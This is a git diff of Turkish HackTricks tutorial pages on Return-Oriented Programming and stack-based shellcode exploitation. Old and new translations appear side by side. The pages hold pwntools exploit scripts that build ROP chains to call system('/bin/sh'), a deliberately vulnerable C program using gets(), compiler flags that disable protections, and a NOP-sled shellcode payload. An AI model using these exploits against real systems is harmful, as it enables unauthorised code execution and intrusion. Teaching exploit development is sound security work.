<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın**.
</details>
## **Temel Bilgiler**
**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini atlatmak için kullanılan gelişmiş bir sızma tekniğidir. Bir saldırgan, shellcode enjekte etmek ve yürütmek yerine, ikili dosyada veya yüklenmiş kütüphanelerde zaten bulunan kod parçalarını, yani **"gadget"**'ları kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve veri taşıma veya aritmetik işlemler gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan, NX/DEP korumalarını atlayarak keyfi işlemler gerçekleştirmek için bir yük oluşturabilir.
**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini atlatmak için kullanılan gelişmiş bir istismar tekniğidir. Bir saldırgan, kabuk kodu enjekte etmek ve yürütmek yerine, ikili dosyada veya yüklenmiş kütüphanelerde zaten bulunan kod parçalarını, yani **"gadget"**'ları kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve veri taşıma veya aritmetik işlemler gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan, NX/DEP korumalarını atlayarak keyfi işlemler gerçekleştirmek için bir yük oluşturabilir.
### ROP Nasıl Çalışır
@ -24,16 +24,16 @@ HackTricks'ı desteklemenin diğer yolları:
2. **Gadget Zinciri**: Saldırgan daha sonra istenen işlemleri gerçekleştirmek için dikkatlice gadget'ları seçer ve birbirine bağlar. Bu, bir işlev çağrısı için argümanları ayarlamayı, işlevi çağırmayı (örneğin, `system("/bin/sh")`), ve gerekli temizlik veya ek işlemleri ele almayı içerebilir.
3. **Yük Yürütme**: Zayıf işlev geri döndüğünde, meşru bir konuma dönüş yapmak yerine, gadget zincirini yürütmeye başlar.
## ROP Zinciri x86 Örneği
## x86 Örneğinde ROP Zinciri
### **x86 (32-bit) Çağrı konvansiyonları**
### **x86 (32-bit) Çağrı Kuralları**
* **cdecl**: Çağrı yapan yığını temizler. İşlev argümanları yığına ters sırayla (sağdan sola) itilir. **Argümanlar sağdan sola doğru yığına itilir.**
* **stdcall**: cdecl'ye benzer, ancak yığını temizleme işlemi çağrıyı alan tarafından yapılır.
* **cdecl**: Çağrı yapan yığını temizler. İşlev argümanları sağdan sola doğru yığın üzerine itilir. **Argümanlar sağdan sola doğru yığın üzerine itilir.**
* **stdcall**: cdecl'ye benzer, ancak yığını temizleme işlemi çağrıyı alanın sorumluluğundadır.
### **Gadget'lar Bulma**
### **Gadget Bulma**
Öncelikle, ikili dosya veya yüklenmiş kütüphaneler içinde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır:
İlk olarak, ikili dosyada veya yüklenmiş kütüphanelerde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır:
* `pop eax; ret`: Bu gadget, yığının en üst değerini `EAX` kaydedicisine iter ve ardından dönüş yaparak `EAX` üzerinde kontrol sağlar.
* `pop ebx; ret`: Yukarıdakiyle benzer, ancak `EBX` kaydedicisi için, `EBX` üzerinde kontrol sağlar.
@ -47,7 +47,7 @@ HackTricks'ı desteklemenin diğer yolları:
1. Hizalama amaçlı bir `ret` talimatı (isteğe bağlı)
2. `system` işlevinin adresi (ASLR devre dışı bırakılmış ve bilinen libc varsayılarak, daha fazla bilgi için [**Ret2lib**](ret2lib/))
3. `system()`'dan dönüş adresi için yer tutucu
4. `"/bin/sh"` dizesi adresi (system işlevi için parametre)
4. `"/bin/sh"` dizesi adresi (sistem işlevi için parametre)
```python
from pwn import *
@ -81,7 +81,7 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
## ROP Zinciri x64 Örneği
## x64 Örneğinde ROP Zinciri
### **x64 (64-bit) Çağrı Kuralları**
@ -91,16 +91,16 @@ p.interactive()
#### **Gadget'lar Bulma**
Amacımız, **RDI** registerini ayarlamamıza ( **system()`a **"/bin/sh"** dizesini argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza izin verecek gadget'ları bulmaya odaklanalım. Aşağıdaki gadget'ları tanımladığımızı varsayalım:
Amacımız, **RDI** registerini ayarlamamıza ( **system()** fonksiyonuna **"/bin/sh"** dizesini argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza izin verecek gadget'ları bulmaya odaklanalım. Aşağıdaki gadget'ları tanımladığımızı varsayalım:
* **pop rdi; ret**: Yığının en üst değerini **RDI**'ye çıkarır ve ardından döner. **system()** için argümanımızı ayarlamak için temel önemlidir.
* **pop rdi; ret**: Yığının en üst değerini **RDI** registerine çıkarır ve ardından döner. **system()** için argümanımızı ayarlamak için temel öneme sahiptir.
* **ret**: Basit bir dönüş, bazı senaryolarda yığın hizalaması için kullanışlıdır.
Ve **system()** fonksiyonunun adresini biliyoruz.
### **ROP Zinciri**
Aşağıda, **x64** üzerinde **system('/bin/sh')**'i çalıştırmayı amaçlayan bir ROP zinciri oluşturmak ve yürütmek için **pwntools** kullanarak bir örnek bulunmaktadır:
Aşağıda, **system('/bin/sh')**'yi çalıştırmayı amaçlayan bir ROP zinciri oluşturmak ve yürütmek için **pwntools** kullanarak bir örnek bulunmaktadır:
```python
pythonCopy codefrom pwn import *
@ -135,34 +135,28 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
### Yığın Taşıma
### Stack Alignment
* **`pop rdi; ret`** cihazını kullanarak **`RDI`**'yi **`"/bin/sh"`** adresine ayarlıyoruz.
* **`RDI`**'yi ayarladıktan sonra doğrudan **`system()`**'e atlıyoruz, **system()**'ün adresi zincirde.
* **Hedef ortam gerektiriyorsa hizalama için** **`ret_gadget`** kullanılır, bu **x64**'te daha yaygındır ve işlevleri çağırmadan önce uygun yığın hizalamasını sağlar.
**x86-64 ABI**, bir **çağrı talimatı** yürütüldüğünde **yığının 16 bayt hizalandığını** sağlar. **LIBC**, performansı optimize etmek için **SSE talimatları** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Eğer yığın düzgün hizalanmamışsa (yani **RSP** 16'nın katı değilse), **ROP zincirinde** **system** gibi fonksiyonlara yapılan çağrılar başarısız olacaktır. Bunun düzeltilmesi için ROP zincirinizde **system**'i çağırmadan önce bir **ret gadget** ekleyin.
### Yığın Hizalaması
**x86-64 ABI**, bir **çağrı talimatı** yürütüldüğünde **yığının 16 bayt hizalandığını** sağlar. **LIBC**, performansı optimize etmek için **SSE talimatları** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Yığın uygun şekilde hizalanmamışsa (yani **RSP** 16'nın katı değilse), **ROP zincirinde** **system** gibi işlevlere yapılan çağrılar başarısız olur. Bunun için ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret cihazı** ekleyin.
## x86'ya karşı x64 ana fark
## x86 vs x64 ana farkı
{% hint style="success" %}
x64, ilk birkaç argüman için kayıtları kullandığından, basit işlev çağrıları için genellikle x86'dan daha az cihaz gerektirir, ancak doğru cihazları bulmak ve zincirlemek, artan kayıt sayısı ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. **x64** mimarisinde artan kayıt sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında, hem fırsatlar hem de zorluklar sunar.
x64, ilk birkaç argüman için kayıtları kullandığından, basit fonksiyon çağrıları için genellikle x86'dan daha az gadget gerektirir, ancak doğru gadget'ları bulmak ve zincirlemek, artan kayıt sayısı ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. **x64** mimarisinde artan kayıt sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında, hem fırsatlar hem de zorluklar sunar.
{% endhint %}
## Korumalar
* [**ASLR**](../common-binary-protections/aslr.md)
* [**Yığın Kanaryaları**](../common-binary-protections/stack-canaries.md)
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
* [**Yığın Kanaryaları**](../common-binary-protections-and-bypasses/stack-canaries/)
## Diğer Örnekler
## Diğer Örnekler ve Referanslar
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
## ROP tabanlı teknikler
ROP'nin yalnızca keyfi kodu yürütmek için bir teknik olduğunu unutmayın. ROP'a dayalı birçok Ret2XXX tekniği geliştirildi:
ROP'un yalnızca keyfi kodu yürütmek için bir teknik olduğunu unutmayın. ROP'a dayalı birçok Ret2XXX tekniği geliştirilmiştir:
* **Ret2lib**: ROP'u yüklenmiş bir kütüphaneden keyfi parametrelerle keyfi işlevleri çağırmak için kullanın (genellikle `system('/bin/sh')` gibi).
@ -176,7 +170,7 @@ ROP'nin yalnızca keyfi kodu yürütmek için bir teknik olduğunu unutmayın. R
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
* **EBP2Ret & EBP Zincirleme**: İlk olarak akışı kontrol etmek için EBP'yi EIP yerine kötüye kullanacak ve ikincisi Ret2lib'e benzer ancak bu durumda akış çoğunlukla EBP adresleriyle kontrol edilir (ancak EIP'nin de kontrol edilmesi gerekmektedir).
* **EBP2Ret ve EBP Zincirleme**: İlk olarak, akışı kontrol etmek için EIP yerine EBP'yi kötüye kullanacak ve ikincisi Ret2lib'e benzer ancak bu durumda akış genellikle EBP adresleriyle kontrol edilir (ancak EIP'nin de kontrol edilmesi gerekmektedir).
{% content-ref url="ebp2ret-ebp-chaining.md" %}
[ebp2ret-ebp-chaining.md](ebp2ret-ebp-chaining.md)

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Temel Bilgiler
**Yığın kabuk kodu**, bir saldırganın zafiyetli bir programın yığınına kabuk kodu yazdığı ve ardından bu kabuk kodunun bulunduğu konuma **Komut İşaretçisi (IP)** veya **Genişletilmiş Komut İşaretçisi (EIP)**'ni değiştirerek çalıştırmasını sağladığı ikili sızma testi tekniğidir. Bu, yetkisiz erişim elde etmek veya hedef sistemde keyfi komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte bu sürecin ayrıntıları, basit bir C örneği ve **pwntools** ile Python kullanarak buna karşılık gelen bir saldırı yazabileceğiniz şekilde açıklanmıştır.
**Yığın kabuk kodu**, bir saldırganın zafiyetli bir programın yığınına kabuk kodu yazdığı ve ardından **Komut İşaretçisi (IP)** veya **Genişletilmiş Komut İşaretçisi (EIP)**'yi bu kabuk kodunun bulunduğu konuma yönlendirdiği bir ikili açıktan yararlanma tekniğidir, bu sayede kabuk kodu çalıştırılır. Bu, yetkisiz erişim elde etmek veya hedef sistemde keyfi komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte bu sürecin ayrıntıları, basit bir C örneği ve **pwntools** ile Python kullanarak buna karşılık gelen bir saldırı yazabileceğiniz şekilde açıklanmıştır.
### C Örneği: Zafiyetli Bir Program
@ -36,7 +36,7 @@ printf("Returned safely\n");
return 0;
}
```
Bu program, `gets()` fonksiyonunun kullanımından dolayı bir tampon taşmasına karşı savunmasızdır.
Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir tampon taşmasına karşı savunmasızdır.
### Derleme
@ -47,11 +47,11 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
* `-fno-stack-protector`: Yığın korumasını devre dışı bırakır.
* `-z execstack`: Yığını yürütülebilir yapar, yığında depolanan shellcode'un yürütülmesi için gereklidir.
* `-no-pie`: Konum Bağımsız Yürütülebilir'i devre dışı bırakır, shellcode'un bulunacağı bellek adresini tahmin etmeyi kolaylaştırır.
* `-m32`: Programı 32 bit olarak derler, genellikle exploit geliştirme sürecinde basitlik için kullanılır.
* `-m32`: Programı 32 bitlik yürütülebilir olarak derler, genellikle exploit geliştirme sürecinde basitlik için kullanılır.
### Pwntools Kullanarak Python Exploit'i
İşte **pwntools** kullanarak bir **ret2shellcode** saldırısı gerçekleştirmek için Python'da nasıl bir exploit yazabileceğinizi:
İşte **pwntools** kullanarak Python'da bir exploit yazabileceğiniz ve **ret2shellcode** saldırısını gerçekleştirebileceğiniz bir örnek:
```python
from pwn import *
@ -78,15 +78,15 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Bu betik, bir **NOP kaydı**, **shellcode** ve ardından **EIP**'yi NOP kaydına işaret eden bir adrese üzerine yazarak shellcode'un yürütülmesini sağlayan bir yük oluşturur.
Bu betik, bir **NOP kaydı**, **shellcode** ve ardından **EIP**'yi NOP kaynağına işaret eden bir adresle üzerine yazarak shellcode'un yürütülmesini sağlayan bir yük oluşturur.
**NOP kaydı** (`asm('nop')`) yürütmenin tam adresinden bağımsız olarak shellcode'a "kaydırılmasını" sağlamak için kullanılır. `p32()` argümanını, NOP kaydına inmek için tamponunuzun başlangıç adresine ve bir ofsete ayarlayın.
**NOP kaydı** (`asm('nop')`), yürütmenin tam adresinden bağımsız olarak shellcode'a "kaydırılmasını" sağlamak için kullanılır. `p32()` argümanını, NOP kaydına inmek için tamponunuzun başlangıç adresine ve bir ofsete ayarlayın.
## Korumalar
* [**ASLR**](../common-binary-protections/aslr.md) adresin her yürütmede güvenilir olması için **devre dışı bırakılmalıdır** veya işlevin depolanacağı adres her zaman aynı olmayacak ve kazan işlevinin nerede yüklendiğini bulmak için bir sızıntıya ihtiyacınız olacaktır.
* [**Yığın Kanaryaları**](../common-binary-protections/stack-canaries.md) da devre dışı bırakılmalıdır veya tehlikeye atılan EIP dönüş adresi asla takip edilmeyecektir.
* [**NX**](../common-binary-protections/no-exec-nx.md) **yığın** koruması, yığın içindeki shellcode'un yürütülmesini engelleyecektir çünkü bu bölge yürütülebilir olmayacaktır.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) adresin güvenilir olması için **devre dışı bırakılmalıdır** ya da işlevin depolanacağı adres her zaman aynı olmayacak ve kazan işlevinin nerede yüklendiğini bulmak için bir sızıntıya ihtiyacınız olacaktır.
* [**Yığın Kanaryaları**](../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır ya da tehlikeye atılan EIP dönüş adresi asla takip edilmeyecektir.
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **yığın** koruması, yığın içindeki shellcode'un yürütülmesini engelleyecektir çünkü bu bölge yürütülebilir olmayacaktır.
## Diğer Örnekler
@ -94,14 +94,14 @@ Bu betik, bir **NOP kaydı**, **shellcode** ve ardından **EIP**'yi NOP kaydına
<details>
<summary><strong>Sıfırdan başlayarak AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>